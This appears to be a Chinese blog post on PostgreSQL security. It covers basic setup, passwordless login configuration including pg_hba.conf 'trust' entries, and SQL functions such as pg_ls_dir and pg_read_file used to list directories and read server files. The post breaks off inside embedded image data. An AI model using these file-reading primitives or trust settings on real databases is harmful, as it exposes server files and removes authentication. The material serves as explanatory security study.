catalog
. postgresql简介
. 文件读取/写入
. 命令执行
. 影响范围
. 恶意代码分析
. 缓解方案
1. postgresql简介
PostgreSQL 是一个*的对象-关系数据库服务器(数据库管理系统),它在灵活的 BSD-风格许可证下发行。它提供了相对其他开放源代码数据库系统(比如 MySQL 和 Firebird),和专有系统(比如 Oracle、Sybase、IBM 的 DB2 和 Microsoft SQL Server)之外的另一种选择
0x1: 优点
. PostgreSQL 的特性覆盖了 SQL-/SQL- 和 SQL-/SQL-,首先,它包括了可以说是目前世界上最丰富的数据类型的支持,其中有些数据类型可以说连商业数据库都不具备, 比如 IP 类型和几何类型等
. PostgreSQL 是全功能的*软件数据库,很长时间以来,PostgreSQL 是唯一支持事务、子查询、多版本并行控制系统(MVCC)、数据完整性检查等特性的唯一的一种*软件的数据库管理系统。 Inprise 的 InterBase 以及SAP等厂商将其原先专有软件开放为*软件之后才打破了这个唯一。最后,PostgreSQL拥有一支非常活跃的开发队伍,而且在许多黑客的努力下,PostgreSQL 的质量日益提高。
. 从技术角度来讲,PostgreSQL 采用的是比较经典的C/S(client/server)结构,也就是一个客户端对应一个服务器端守护进程的模式,这个守护进程分析客户端来的查询请求,生成规划树,进行数据检索并最终把结果格式化输出后返回给客户端。为了便于客户端的程序的编写,由数据库服务器提供了统一的客户端 C 接口。而不同的客户端接口都是源自这个 C 接口,比如ODBC,JDBC,Python,Perl,Tcl,C/C++,ESQL等, 同时也要指出的是,PostgreSQL 对接口的支持也是非常丰富的,几乎支持所有类型的数据库客户端接口。这一点也可以说是 PostgreSQL 一大优点
0x2: 函数
通过函数,可以在数据库服务器端执行指令程序。尽管这样的指令程序可以使用基本的SQL语句写成,但是由于其缺乏流程控制等功能,所以在PostgreSQL中引入了使用其它程序语言编写函数的能力,包括
. 一个内置的名为PL/pgSQL的过程语言,类似于Oracle的PL/SQL
. 包括PL/Perl,plPHP,PL/Python,PL/Ruby,PL/sh,PL/Tcl与PL/Scheme在内的脚本语言
. 编译语言: C,C++,或Java(通过PL/Java)
. R统计语言(PL/R)
以上部分的语言,甚至可以在触发器内执行。PostgreSQL支持行返回函数:它们的输出是一系列行类型数据的集合,可以在查询中当作表来使用。函数也可以被定义成以创建者或者调用者的身份运行。在某些场合,或者其他的数据库产品中,函数也会被称为“存储过程”,但技术上这两者并未有太大分别
0x3: 使用PostgreSQL控制台
//启动server
service postgresql initdb
/etc/init.d/postgresql start
adduser dbuser
sudo su - postgres
psql
//这时相当于系统用户postgres以同名数据库用户的身份,登录数据库,这是不用输入密码的。如果一切正常,系统提示符会变为"postgres=#",表示这时已经进入了数据库控制台。以下的命令都在控制台内完成
\password postgres
//创建数据库用户dbuser
CREATE USER dbuser WITH PASSWORD 'password';
//创建用户数据库,这里为exampledb,并指定所有者为dbuser
CREATE DATABASE exampledb OWNER dbuser;
//将exampledb数据库的所有权限都赋予dbuser,否则dbuser只能登录控制台,没有任何数据库操作权限
GRANT ALL PRIVILEGES ON DATABASE exampledb to dbuser;
0x4: 登录数据库
添加新用户和新数据库以后,就要以新用户的名义登录数据库,这时使用的是psql命令
psql -U dbuser -d exampledb -h 127.0.0.1 -p
0x5: 修改密码
alter user postgres with password 'aliyunSecurity1234*_*';
0x6: 无密码验证登录
方法一: 设置环境变量 PGPASSWORD
PGPASSWORD是PostgreSQL系统环境变量,在客户端设置这后,那么在客户端连接远端数据库时,将优先使用这个密码
export PGPASSWORD=aliyun
//查看环境变量
export
方法二: 设置".pgpass"密码文件
通过在客户端/home/postgres目录下创建隐藏文件.pgpass,从而避免连接数据库时弹出密码输入提示
--创建密码文件 .pgpass(on 客户端)
vi /home/postgres/.pgpass --格式
hostname:port:database:username:password --权限
Chmod .pgpass
方法三: 修改服务端 pg_hba.conf
修改认证文件 $PGDATA/pg_hba.conf, 添加以下行,并reload使配置立即生效
# TYPE DATABASE USER CIDR-ADDRESS METHOD
//1. 指定IP免密码验证(任意用户)
host aliyun postgres xxx.xx.xx.xx/ trust
也可疑显式指定某个账户无密码登录
//修改 pg_hba.conf 文件
local all all ident map=map1
//然后编辑 pg_ident.conf,添加
map1 root postgres
//然后重启pgsql服务或者reload,如果当前系统用户是root,则可这样直接直接登录数据库
psql -Upostgres
//其他具有sudo权限的用户也可这样免口令登录
sudo /usr/pgsql-9.1/bin/psql -Upostgre
Relevant Link:
http://baike.baidu.com/item/PostgreSQL
http://www.ruanyifeng.com/blog/2013/12/getting_started_with_postgresql.html
http://my.oschina.net/dddpeter/blog/11615
http://waiting.iteye.com/blog/1539999
http://francs3.blog.163.com/blog/static/405767272011725112431290/
2. 文件读取/写入
PostgreSQL 8.1 以后提供了一组现成的文件操作函数 pg_logdir_ls()、pg_ls_dir()、pg_file_rename()、pg_file_write()、 pg_read_file()、pg_length_file()
0x1: 列目录
select pg_ls_dir('./');
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1fn/30LgEYUNXvF908WblzM+hQzeMep+3LJP1bink/tJW6Df/mWz8sPuEOPMbvB/A+7u73A3gx+P0AzLhN1AvA90B+AGYgPwAzkB+AGcgPwAzkB2CGjfzKN+trlAS4Cdf7/TIuPsWwlyupoJQMfA29HyMEsiMCuB4Tv58+U2mGvZ9mv6mfYxD22BVtRAAmmPj9VFGphr1f5ee6ZvY3LfLLJjYDuBQTv9/KTDW3ki25Un+h/JIRFdUPcDomfj/FxZcx7OX8fgr5OpPZTzUEAlyOjd8vdfFphr1cyc3GZBbB8QFOvp9+9OkjAjDge36/rREBXMbX/H7ZEQFcz8P8fhgL4U0QdAZgBvIDMAP5AZiB/ADMQH4AZtxHfvJRuNvIIDWAh3If+Q3Eu/iXbes/L34Ank9Nv5/uuMvk95tbDOwI6u6eMk+Oh5bnyQ+vKR7CoF7vnBMBamwjwrXU9fvpjjs1w9FI+ewXvdD2fuhJYCjSPIRL71sR3c3sB9dT1++new6qyK+Z5zpxWPEQ5ipEfnA9df1+18qvc3/eizsyqocQ+cF9qOv3y8ovze83osgv4/eLSs4vL+UyHkL5LIvlaRPlxkKAs6jp98s57tQ7N9Hdj0Ah4SGlZJrKbyisewjlklS70fMwEwc8l+/5/QBuw9f8fgA34mF+P4A3cbeoF4APgfwAzEB+AGYgPwAzkB+AGbXlt8/FB/Aprpn92JsHUKie32+sJ4nkTHftd9YJ8Hhq5/drxmJRfgfhshuq2l8nwOOpnt+vaZrEwy4D1YbaDiYtA3g01+T3Q34ACpXz+43Ei09xyvjS/joBHs+V+f3kAx9SY19xnQBv4Y5+PzyE8BFu5PfDQwhfA78fgBnEfAKYgfwAzEB+AGYgPwAzkB+AGchvg3wiwQ5fBvxIdfm9el/+Lv2Ah3LQ76ca9kTYmJ+SOiT7gHrSv6jKpQdFdYYFZYzq8GeXpD4qG6Zu1RflkB/8xBG/n2rYk04GmaQknakySf/UXHw76pxFGxomOjcJMnRaFAxzJGgsGC+LT/iNA34/1TE0lk3jXVSpaGmP1DjswjqTqBtZQUkImzbMicgLFSZlQX7wAwf8fln5yUNyLiqRn5qLr7zOvMhK5ZcOcwL5QS2O+P1Uw578LOpLwWn5mJOfkouvuM68EnJaDheO6jCjAU5nBj8NkR/8wK9+v0zavejRLqJkNumflouvsM5M++GSNJqxY/kpw9TNinI57HksDfzCr36/l/CRYcLNOOj3excfGSbcDqJeAMxAfgBmID8AM5AfgBnID8AM5Adghio/GfQ87TMr9+Sn+/WXPxewLJAM4O5o8gsCuIZYzDSuU4SGXQ/BlvAKFPlpn+1YfqXzT8ZxF9sFp2KtfDUKHJv8flO9TIDweFL5qZ/sSH5t75zzhZEiieNOswtGepbB3anfr2H+g1eQyk99tkkkP+E03dZBPFOqfqXhnyX8WgnkjntAlCY8ncPyy9lzUorkNxztvet7rz7EIUr6h/zgBRxbfIbp+HbOfrpdsOmc8973bdMvv/Iyfr+GxSe8gs1bL+FjHLSHLa3IIOO4y+b3830TbHus+f1QHzyezY2HW3L/HgIUULDtfj/Ydod3QNAZgBnID8AM5AdgBvIDMAP5AZiB/ADMQH4AVvwHqGSHwFX94YMAAAAASUVORK5CYII=" alt="" />
0x2: 读取./postgresql/data下的任意文件
pg_xxx这个adminpack将权限限制在了./postgresql/data下面
select pg_read_file('postgresql.conf',,);
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